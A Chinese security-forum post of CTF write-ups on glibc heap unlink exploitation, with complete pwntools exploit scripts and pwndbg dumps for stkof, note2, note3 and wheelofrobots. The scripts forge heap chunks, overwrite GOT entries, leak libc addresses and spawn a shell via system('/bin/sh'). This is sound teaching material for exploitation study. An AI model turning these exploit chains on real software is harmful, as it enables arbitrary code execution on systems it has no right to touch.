首页
论坛
课程
招聘
unlink 系列
2018-9-26 11:32 14626

unlink 系列

2018-9-26 11:32
14626
昨天接触到了一个新的堆溢出技巧——unlink。

unlink的原理介绍网上很多资料介绍的都很详细了,这里推荐一个unlink,我下面分析的题目也都是这个链接所提供的题目。前辈的文章已经非常详尽了,我前人的肩膀上做一个补充。

这里再简单的介绍一下unlink。

unlink 用来将一个双向链表(只存储空闲的 chunk)中的一个元素取出来,可能在以下地方使用

malloc

从恰好大小合适的 large bin 中获取 chunk。

这里需要注意的是 fastbin 与 small bin 就没有使用 unlink,这就是为什么漏洞会经常出现在它们这里的原因。

依次遍历处理 unsorted bin 时也没有使用 unlink 的。

从比请求的 chunk 所在的 bin 大的 bin 中取 chunk。

Free

后向合并,合并物理相邻低地址空闲 chunk。

前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。

malloc_consolidate

后向合并,合并物理相邻低地址空闲 chunk。

前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。

realloc

前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)。


关于unlink的漏洞利用效果最终是指向前方三个内存单元处,我觉得这里需要注意的是,也是让我混乱过的是,到底指向谁的前方三个内存单元处?这个需要好好思考一下,有一些绕。
我们来观察一下这个语句(非正常情况的前提下),BK->fd = FD ,即将FD指向的内容存储到BK->fd地址当中去(表达可能并不是十分准确)。

2014 HITCON stkof


首先明确一下本文的参考unlink小结 && 2014_hitcon_stkof,前辈解释的很详细清楚。

-virtual-machine:~/Desktop/CTF/summer/unlink/2014_hitcon_stkof$ checksec stkof
[*] '/home/wby/Desktop/CTF/summer/unlink/2014_hitcon_stkof/stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

基本功能:
1.申请内存
2.释放内存
3.向内存中写入数据(存在堆溢出

其他信息:
通过分析申请内存的函数可知,申请到的内存块都被管理在一个全局变量当中。分析如下图可得上面结果:


还有一个有意思的情况是,这道题目的源代码开始部分没有setbuf()/setvbuf()函数,又涨了一个新姿势。以前看到的题目都有这个函数也没有思考过这个函数的作用,前辈的文章指出,再参考一些资料。大多数题目的setbuf()/setvbuf()函数的作用是用来关闭I/O缓冲区,本题没有关闭缓冲区,函数运行开始阶段在fgets()函数以及printf()函数运行的时候,会malloc()两块内存区域。   和题目本身没有太大的影响,介绍一下这个有意思的现象。

基本情况介绍完毕,下面我们开始介绍如何利用:

首先讲一下利用思路,为了获得shell权限,我们可以运行system("/bin/sh"),也可以one_gadget,怎么获得运行system函数呢?本文有free/malloc函数的运用,既可以将__malloc_hook()/__free/hook()指向system,还可以赋写GOT表,将system覆盖到free/malloc的GOT表中。怎么完成写入操作呢?我们可以利用unlink来进行写入操作。
将__free_hook指向system()的利用方式在Asis 2016 b00ks(off by one)已经呈现过一次,现在我们采用赋写GOT的方式。上面是逆向思维,简而言之就是思考过程,下面我们按照正常的思考方式将利用流程解释一下:
1.利用unlink修改修改GOT表。
2.泄露libc基址。
3.将free_got改成system_addr.
4.free一个内存块,其中的内容是"/bin/sh"。

首先malloc四块内存,每块都有相应的用处。
new(0x20)
new(0x30)
new(0x80) #最后free的chunk必须不是fastbin
new(0x20)
查看一下现在的内存信息:
pwndbg> heap
0x18df000 PREV_INUSE {            这一个是fgets申请的输入缓冲
  prev_size = 0x0, 
  size = 0x1011, 
  fd = 0xa0a32330a31, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x18e0010 FASTBIN {    new 1            
  prev_size = 0x0, 
  size = 0x31, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x18e0040 PREV_INUSE {  printf申请的输出缓冲
  prev_size = 0x0, 
  size = 0x411, 
  fd = 0xa4b4f, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x18e0450 FASTBIN {            new 2
  prev_size = 0x0, 
  size = 0x41, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x18e0490 PREV_INUSE {         new 3  必须不在fastbin范围中,不然free操作时不会向前合并空闲内存
  prev_size = 0x0, 
  size = 0x91, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x18e0520 FASTBIN {                new  4 最后用来防止"/bin/sh\00"字符串
  prev_size = 0x0, 
  size = 0x31, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x18e0550 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20ab1, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

查看一下存储申请的全局变量,那我们给他一个名字global:
pwndbg> x/6xg 0x602140
0x602140:	0x0000000000000000	0x00000000018e0020
0x602150:	0x00000000018e0460	0x00000000018e04a0
0x602160:	0x00000000018e0530	0x0000000000000000

下面我们开始都溢出构造unlink的条件,在编辑内存块2的时候溢出,覆盖到内存块3的pre_size、size信息,然后free 内存块3的时候,会向前合并内存块2,unlink操作进行时,会将内存块2指向他的前面三个内存单元处。
target = 0x602140 + 0x10    //global[2]
fd = target - 0x18
bk = target - 0x10

#free(3)
#raw_input("wait")
payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10    //到这里是伪chunk的信息
payload += p64(0x30) + p64(0x90) //这里是覆盖内存块3的前两个内存单元
edit(2,payload)

查看内存信息:
pwndbg> x/10xg 0x00000000018e0450
0x18e0450:	0x0000000000000000	0x0000000000000041
0x18e0460:	0x0000000000000000	0x0000000000000030  //构造的伪chunk的起点
0x18e0470:	0x0000000000602138	0x0000000000602140   //target -0x18   / -0x10
0x18e0480:	0x6161616161616161	0x6161616161616161
0x18e0490:	0x0000000000000030	0x0000000000000090    //覆盖了chunk3的前两个内存单元,为free 内存3时可以向前合并内存块2做准备。

free(3)
sh.recvuntil("OK\n")
查看内存:
pwndbg> x/6xg 0x602140
0x602140:	0x0000000000000000	0x00000000018e0020
0x602150:	0x0000000000602138	0x0000000000000000
0x602160:	0x00000000018e0530	0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7f7135015b78 (main_arena+88) —▸ 0x18e0460 ◂— 0x7f7135015b78
smallbins
empty
largebins

可以看到global[2]的值被改成global[0]-0x8,但是经过free 内存块也将伪chunk和内存块3合并放到unsorted bin中去了。

下面的可以通过编辑内存块2来实现将global[1],global[2]覆盖,具体利用如下:
elf = ELF("./stkof")
libc = ELF("./libc.so.6")

free_got = elf.got["free"]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
payload2 = "a"*0x10     #填充global[]-8,global[0]。
payload2 += p64(free_got) + p64(puts_got)    //覆盖global[1],global[2]为free_got,puts_got
edit(2,payload2)

c查看内存:
pwndbg> x/8xg 0x602130
0x602130:	0x0000000000000000	0x6161616161616161
0x602140:	0x6161616161616161	0x0000000000602018
0x602150:	0x0000000000602020	0x0000000000000000
0x602160:	0x00000000018e0530	0x0000000000000000


然后在通过edit 内存块1将puts_plt覆盖到free_got中去,那么执行free内存块2的时候,就可以将puts的实际地址泄露。
payload3 = p64(puts_plt)
edit(1,payload3)

free(2)
puts_addr = u64(sh.recvuntil("\nOK\n",drop = True).ljust(8,'\x00'))

然后计算出libc基址,并且计算出需要的变量的地址。
puts_offset = libc.symbols["puts"]
system_offset = libc.symbols["system"]
binsh_offset = libc.search('/bin/sh').next()

libc_base = puts_addr - puts_offset

system_addr = libc_base + system_offset

将system写入free_got中,将内存块4中写入"/bin/sh\00",然后free 内存块4即运行system("/bin/sh\00")。

payload4 = p64(system_addr)
#payload4 = p64(0x000000000004526a)
edit(1,payload4)
raw_input("wait")

edit(4,"/bin/sh\00")
free(4)

sh.interactive() 

最后附上完整的利用代码:
#!usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import*

context(log_level = "debug",os = "linux")
context.terminal = ["gnome-terminal","-x","sh","-c"]

sh = process("./stkof")

def new(size):
	sh.sendline("1")
	sh.sendline(str(size))
	sh.recvuntil("OK\n")

def free(idx):
	sh.sendline("3")
	sh.sendline(str(idx))

def edit(idx,strings):
	sh.sendline("2")
	sh.sendline(str(idx))
	sh.sendline(str(len(strings)))
	sh.send(strings)
	sh.recvuntil("OK\n")

pwnlib.gdb.attach(sh,"b *0x400c58")

new(0x20)
new(0x30)
new(0x80)
new(0x20)
#最后free的chunk必须不是fastbin

target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10

#free(3)
#raw_input("wait")
payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10
payload += p64(0x30) + p64(0x90)
edit(2,payload)
free(3)
sh.recvuntil("OK\n")

elf = ELF("./stkof")
libc = ELF("./libc.so.6")

free_got = elf.got["free"]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
payload2 = "a"*0x10 
payload2 += p64(free_got) + p64(puts_got)
edit(2,payload2)

payload3 = p64(puts_plt)
edit(1,payload3)

free(2)
puts_addr = u64(sh.recvuntil("\nOK\n",drop = True).ljust(8,'\x00'))
#print hex(puts_addr)

puts_offset = libc.symbols["puts"]
system_offset = libc.symbols["system"]
binsh_offset = libc.search('/bin/sh').next()

libc_base = puts_addr - puts_offset

system_addr = libc_base + system_offset

payload4 = p64(system_addr)
#payload4 = p64(0x000000000004526a)
edit(1,payload4)
raw_input("wait")

edit(4,"/bin/sh\00")
free(4)

sh.interactive() 


2016 zctf note2
参考 Unlink

参考链接中有的内容我不再重复,这道题目可以说是较上道题目的升级版。
上道题目对于创建元素个数无限制,而且可以直接溢出,并且没有字节限制;而这道题目有申请的新的元素个数限制,并且堆溢出是通过无符号-1为最大这个知识点来溢出,并且edit的时候有size的限制。
优点是带有打印功能,可以利用此功能泄露地址。
因此本道题目采用的覆盖的方法非常有特点,节约申请的元素个数。

创建三个堆块,第一个第三个尽量大一些,第三个大一些是为了可以unlink,第一个大一些是因为这道题目具有edit的size限制,后文进行edit操作的时候可以正常进行。
第二个堆块大小设置成fastbin并且0x20大小,因为当输入size=0的时候哦,size-1=-1,无符号整形-1为最大,可以进行堆溢出。
在创建完三个堆块的时候,free第二个。在同样申请size=0的chunk,然后将会把fastbin中的chunk分配出去,然后可以覆盖第三块chunk,伪造pre_size,size内容,为unlink创造条件。

#!usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import*

context(log_level = "debug",os = "linux")
context.terminal = ["gnome-terminal","-x","sh","-c"]

sh = process("./note2")

def new(size,content):
        sh.recvuntil("option--->>\n")
        sh.sendline("1")
        sh.recvuntil("Input the length of the note content:(less than 128)\n")
        sh.sendline(str(size))
        sh.recvuntil("Input the note content:\n")
        sh.sendline(content)
        sh.recvuntil("note add success,")

def free(idx):
        sh.recvuntil("option--->>\n")
        sh.sendline("4")
        sh.recvuntil("Input the id of the note:\n")
        sh.sendline(str(idx))
        sh.recvuntil("delete note success!\n")

def edit(idx,choice,content):
        sh.recvuntil("option--->>\n")
        sh.sendline("3")
        sh.recvuntil("Input the id of the note:\n")
        sh.sendline(str(idx))
        sh.recvuntil("do you want to overwrite or append?[1.overwrite/2.append]\n")
        sh.sendline(str(choice))
        sh.recvuntil("TheNewContents:")
        sh.sendline(content)
        sh.recvuntil("Edit note success!\n")

def show(idx):
        sh.recvuntil("option--->>\n")
        sh.sendline("2")
        sh.recvuntil("Input the id of the note:\n")
        sh.sendline(str(idx))
        sh.recvuntil("Content is ")


pwnlib.gdb.attach(sh,"b *0x400f75")


sh.recvuntil("name:\n")
sh.sendline("liurunhao")

sh.recvuntil("address:\n")
sh.sendline("no address")

target = 0x602120
fd = target - 0x18
bk = target - 0x10


payload1 = "a"*0x8 + p64(0xa0)
payload1 += p64(fd)+p64(bk)
payload1 += "a"*0x60                             #为下面的unlink做准备,事先准备好

new(0x80,payload1)
new(0,"1234") #中间是fastbin
new(0x80,"12345678910") #下面是small bin

free(1) #将内存块free掉 

payload2 = "a"*0x10
payload2 += p64(0xa0)+p64(0x90)

new(0,payload2)             #溢出

free(2)                #free后面的内存块,触发unlink,将全局变量的内容指向他的前三个单元处


elf = ELF("./note2")
libc = ELF("./libc-1.23.so")

atoi_got = elf.got["atoi"]

one_gadget_offset = 0x413d4
system_offset = libc.symbols["system"]
atoi_offset = libc.symbols["atoi"]


payload2 = "a"*0x18 + p64(atoi_got)
edit(0,1,payload2)    #将我们的目的全局变量修改成atoi_got

show(0)             #泄露atoi的地址

atoi_address = u64(sh.recvuntil("\n",drop=True).ljust(8,"\00"))
libc_base = atoi_address - atoi_offset
one_gadget_address = libc_base + one_gadget_offset
system_addr = libc_base + system_offset

print "atoi_address ="+str(atoi_address)
print "libc_base ="+str(libc_base)
print "system_offset ="+str(system_offset)


edit(0,1,p64(system_addr)) #将system写入atoi_got

sh.recvuntil("option--->>\n")

sh.sendline("/bin/sh")

sh.interactive()

2016 ZCTF note3

利用思路同note2相同,注释中标注出了该注意的地方。
#!usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import*

context(log_level = "debug",os = "linux")
context.terminal = ["gnome-terminal","-x","sh","-c"]

sh = process("./note3")

def new(size,content):
	sh.recvuntil("option--->>\n")
	sh.sendline("1")
	sh.recvuntil("Input the length of the note content:(less than 1024)\n")
	sh.sendline(str(size))
	sh.recvuntil("Input the note content:\n")
	sh.sendline(content)
	sh.recvuntil("note add success,")

def free(idx):
	sh.recvuntil("option--->>\n")
	sh.sendline("4")
	sh.recvuntil("Input the id of the note:\n")
	sh.sendline(str(idx))
	#sh.recvuntil("Delete success\n")

def edit(idx,content):
	sh.recvuntil("option--->>\n")
	sh.sendline("3")
	sh.recvuntil("Input the id of the note:\n")
	sh.sendline(str(idx))
	sh.recvuntil("Input the new content:\n")
	sh.sendline(content)
	sh.recvuntil("Edit success!\n")

#pwnlib.gdb.attach(sh,"b *0x400f75")


target = 0x6020c0+0x8
fd = target - 0x18
bk = target - 0x10


payload1 = "a"*0x8 + p64(0xa0)
payload1 += p64(fd)+p64(bk)
payload1 += "a"*0x60 #为下面的unlink做准备

new(0x80,payload1)
new(0,"1234") #中间是fastbin
new(0x80,"12345678910") #下面是small bin

free(1) #将内存块free掉 
sh.recvuntil("Delete success\n")

payload2 = "a"*0x10
payload2 += p64(0xa0)+p64(0x90)

new(0,payload2) #溢出

free(2)#free后面的内存块,触发unlink
sh.recvuntil("Delete success\n")

elf = ELF("./note3")
libc = ELF("./libc-2.23.so")

puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
free_got = elf.got["free"]

atoi_got = elf.got["atoi"]
system_offset = libc.symbols["system"]
atoi_offset = libc.symbols["atoi"]
puts_offset = libc.symbols["puts"]

payload3 = "a"*0x18 + p64(free_got) + p64(puts_got) 
edit(0,payload3)  	#覆盖全局变量表

payload4 = p64(puts_plt)[:-1]  #点睛     解决了只能包含“\n”只能发送八个字节的问题
edit(0,payload4)	#覆盖free_got为puts_plt

new(0x20,"/bin/sh\00")

free(1)
puts_addr = u64(sh.recvuntil("\nDelete success\n",drop=True).ljust(8,"\00"))
print hex(puts_addr)
libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset

payload5 = p64(system_addr)[:-1]
edit(0,payload5)	#覆盖free_got为system

free(2)

#sh.sendline("ls")
sh.interactive()



2017_insomni'hack_wheelofrobots

这道题目较前几道的题目结构稍微复杂一些,虽然构造起来的机制是相同的,但是这篇文章构造起来混乱一些。
无奈我自己尝试做了一段时间没有成功,因为时间并不是十分充裕,我分析了wiki上面给的writeup。
首先这个程序的洞在于choice_robot的时候会覆盖到bender_inuse的低位。而且每一个robot在free之后,全局向量表的内容还有申请内存块的大小都没有相应的清除,这为我们利用提供了利用的条件。而且这个程序有类似的edit的功能,这个程序里面对应的是change_name功能,实际上大同小异。

本题的收获是:1.加深了了解任意地址写,其实当初在2016 Asis b00ks就用到了这个技术;2.如果不想程序退出的话,比如,在exit_got中写入init的地址

整理的相应的全局变量的位置:
0x130 limit_num
0x110 choice_robot

Robot_name          inuse            malloc(name)_addr                        size                                  size''_addr

Tinny_1             0x120                0x0f8                                0x14
Bender_2            0x114                0x0f0                                20*size''                                0x138
Robot_3             0x124                0x100                                20*size''                                0x140
chain_4             0x118                0x0e0                                0xfa0
Billionaire         0x128                0x108                                0x9c40
Bestructor          0x11c                0x0e8                                20*size''                                0x148



from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
context.binary = "./wheelofrobots"
robots = ELF('./wheelofrobots')
p = process("./wheelofrobots")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')


def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset


def add(idx, size=0):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Your choice :')
    p.sendline(str(idx))
    if idx == 2:
        p.recvuntil("Increase Bender's intelligence: ")
        p.sendline(str(size))
    elif idx == 3:
        p.recvuntil("Increase Robot Devil's cruelty: ")
        p.sendline(str(size))
    elif idx == 6:
        p.recvuntil("Increase Destructor's powerful: ")
        p.sendline(str(size))


def remove(idx):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Your choice :')
    p.sendline(str(idx))


def change(idx, name):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Your choice :')
    p.sendline(str(idx))
    p.recvuntil("Robot's name: \n")
    p.send(name)


def start_robot():
    p.recvuntil('Your choice :')
    p.sendline('4')


def overflow_benderinuse(inuse):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Your choice :')
    p.send('9999' + inuse)


def write(where, what):
    change(1, p64(where))
    change(6, p64(what))


def exp():
    pwnlib.gdb.attach(p,"b* 0x004017f2")
    print "step 1"
    # add a fastbin chunk 0x20 and free it
    # so it is in fastbin, idx2->NULL
    add(2, 1)  # idx2            先申请一个大小为0x20的chunk,然后free掉使其进入fastbins,以便我们后来通过UAF漏洞来讲0x138放入fd中。
    remove(2)
    # overflow bender inuse with 1
    overflow_benderinuse('\x01')        #覆盖Bender的inuse位,为了能够继续使用chang_name功能。
    # change bender's fd to 0x603138, point to bender's size
    # now fastbin 0x20, idx2->0x603138->NULL
    change(2, p64(0x603138))        #将0x138放到fd的位置。
    # in order add bender again
    overflow_benderinuse('\x00')    #将Bender_inuse位改回0
    # add bender again, fastbin 0x603138->NULL
    add(2, 1)                                #申请一个0x20大小的chunk,这样bin中只存在0x138
    # in order to malloc chunk at 0x603138
    # we need to bypass the fastbin size check, i.e. set *0x603140=0x20
    # it is at Robot Devil
    add(3, 0x20)        #为了能够使我们伪造的0x138像正常的fastbin被分配,需要通过检查,即需要设置size = 0x20。而0x138的size位置正好是0x140,即Robot_3的size''位置。
    # trigger malloc, set tinny point to 0x603148
    add(1)                #伪造安全检查完毕,然后将0x138分配到tinny_1。我们将0x138分配到Tinny_1的目的是,我们就可以通过chang_TinnyName来控制0x148的值,而0x148的是Robot_6的size'',即我们就可以控制Robot的写入长度,就可以进行堆溢出。
    # wheels must <= 3
    remove(2)
    remove(3)

    print 'step 2'
    # alloc Destructor size 60->0x50, chunk content 0x40
    add(6, 3)        #将Robot_6事先分配好,然后向高内存溢出。
    # alloc devil, size=20*7=140, bigger than fastbin
    add(3, 7)
    # edit destructor's size to 1000 by tinny
    change(1, p64(1000))  #控制0x148的值,即Robot的读取长度足够长。
    # place fake chunk at destructor's pointer
    fakechunk_addr = 0x6030E8
    fakechunk = p64(0) + p64(0x40) + p64(fakechunk_addr - 0x18) + p64(
    fakechunk_addr - 0x10) + p64(0x20)
    fakechunk = fakechunk.ljust(0x40, 'a')
    fakechunk += p64(0x40) + p64(0xa0)
    change(6, fakechunk)  #伪造unlink触发的条件
    # trigger unlink
    remove(3)   #触发unlink,则相应的全局变量内容被改写。

    print 'step 3'                    
    # make 0x6030F8 point to 0x6030E8                
    payload = p64(0) * 2 + 0x18 * 'a' + p64(0x6030E8)            #修改全局变量,使Tinny_name的值指向存储Robot6_name的全局变量处。   ---------------------这就可以实现任意地址写。    


# 任意地址写的说明:由于Tinny_name的值指向存储Robot_6_name的全局变量,因此change_name(1)会改变Robot_6_name的地址;然后再change_name(6)会向改变的地址中写入东西。即比如想向A中写入B,我们可以将Tinny_name的值改成A,然后再改变Robot_6_name的值为B。
    change(6, payload)

    print 'step 4'
    # make exit just as return
    write(robots.got['exit'], 0x401954)            由于程序打印结束就执行exit(),为了不让程序退出,将exit_Got写入init的地址。

    print 'step 5'
    # set wheel cnt =3, 0x603130 in order to start robot
    write(0x603130, 3)
    # set destructor point to puts@got
    change(1, p64(robots.got['puts']))
    start_robot()
    p.recvuntil('New hands great!! Thx ')
    puts_addr = p.recvuntil('!\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    log.success('libc base: ' + hex(libc_base))
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))

    # make free->system
    write(robots.got['free'], system_addr)
    # make destructor point to /bin/sh addr
    write(0x6030E8, binsh_addr)
    # get shell
    remove(6)
    p.interactive()

    pass


if __name__ == "__main__":
    exp()




                                                                                                                                                                                                                              idd&&xhh




[公告]《CTF高级解混淆》训练营,国际顶尖CTF战队大牛亲自授课,助你快速成长!

最后于 2019-11-3 08:55 被iddm编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (9)
雪    币: 18
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ihhm 活跃值 2018-9-26 15:09
2
0
雪    币: 18
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ihhm 活跃值 2018-9-26 15:10
3
0
星星眼膜拜✨
雪    币: 1681
活跃值: 活跃值 (25)
能力值: ( LV7,RANK:103 )
在线值:
发帖
回帖
粉丝
Snowleo 活跃值 1 2018-10-10 20:18
4
0
orz,大佬就这么写writeup
雪    币: 1
活跃值: 活跃值 (11)
能力值: ( LV3,RANK:27 )
在线值:
发帖
回帖
粉丝
siriuswhiter 活跃值 2018-12-21 19:49
5
0

最后于 2018-12-22 11:01 被siriuswhiter编辑 ,原因:
雪    币: 3134
活跃值: 活跃值 (19)
能力值: ( LV9,RANK:165 )
在线值:
发帖
回帖
粉丝
demoLin 活跃值 2019-1-24 21:53
6
0
大佬能解释下note3题目中,【payload4 = p64(puts_plt)[:-1]  #点睛     解决了只能包含“\n”只能发送八个字节的问题】的原因么?为啥只能发送8字节
雪    币: 1612
活跃值: 活跃值 (639)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
iddm 活跃值 4 2019-1-30 09:03
7
0
demoLin 大佬能解释下note3题目中,【payload4 = p64(puts_plt)[:-1] #点睛 解决了只能包含“\n”只能发送八个字节的问题】的原因么?为啥只能发送8字节
用gdb调试跟踪到这一步,查看一下执行前后的内存的变化,分别用payload4=p64(puts_plt)[:-1]    payload4 = p64(puts_plt)这两条命令各试一遍。看看能解决疑惑么,我也记不太清了,如果不能的话我再去看看。
雪    币: 223
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wildbloom 活跃值 2020-3-10 14:49
8
0
博主 文件解压密码是啥?
雪    币: 1612
活跃值: 活跃值 (639)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
iddm 活跃值 4 2020-3-11 10:08
9
0
wildbloom 博主 文件解压密码是啥?
可能是看雪统一的压缩密码,我之前没加过密?
雪    币: 423
活跃值: 活跃值 (58)
能力值: ( LV3,RANK:38 )
在线值:
发帖
回帖
粉丝
yyp 活跃值 2020-7-8 15:41
10
0
压缩密码是多少?
游客
登录 | 注册 方可回帖
返回